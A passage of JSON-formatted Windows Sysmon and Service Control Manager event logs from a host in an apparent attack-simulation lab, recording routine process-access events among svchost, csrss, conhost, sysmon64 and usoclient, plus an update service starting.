AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-0010ECD50500}\r\nTargetProcessId: 1188\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-0010ECD50500}","TargetProcessId":"1188","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-4101-5F2D-0000-0010ECD50500}\r\nSourceProcessId: 1188\r\nSourceThreadId: 3728\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-00106DD50500}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-4101-5F2D-0000-0010ECD50500}","SourceProcessId":"1188","SourceThreadId":"3728","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-00106DD50500}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.126\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-00106DD50500}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.126","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-00106DD50500}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76843,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Update Orchestrator Service for Windows Update service entered the running state.","param1":"Update Orchestrator Service for Windows Update","param2":"running","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.204\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2232\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-00106DD50500}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\usocore.dll+21062|c:\\windows\\system32\\usocore.dll+158b4|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 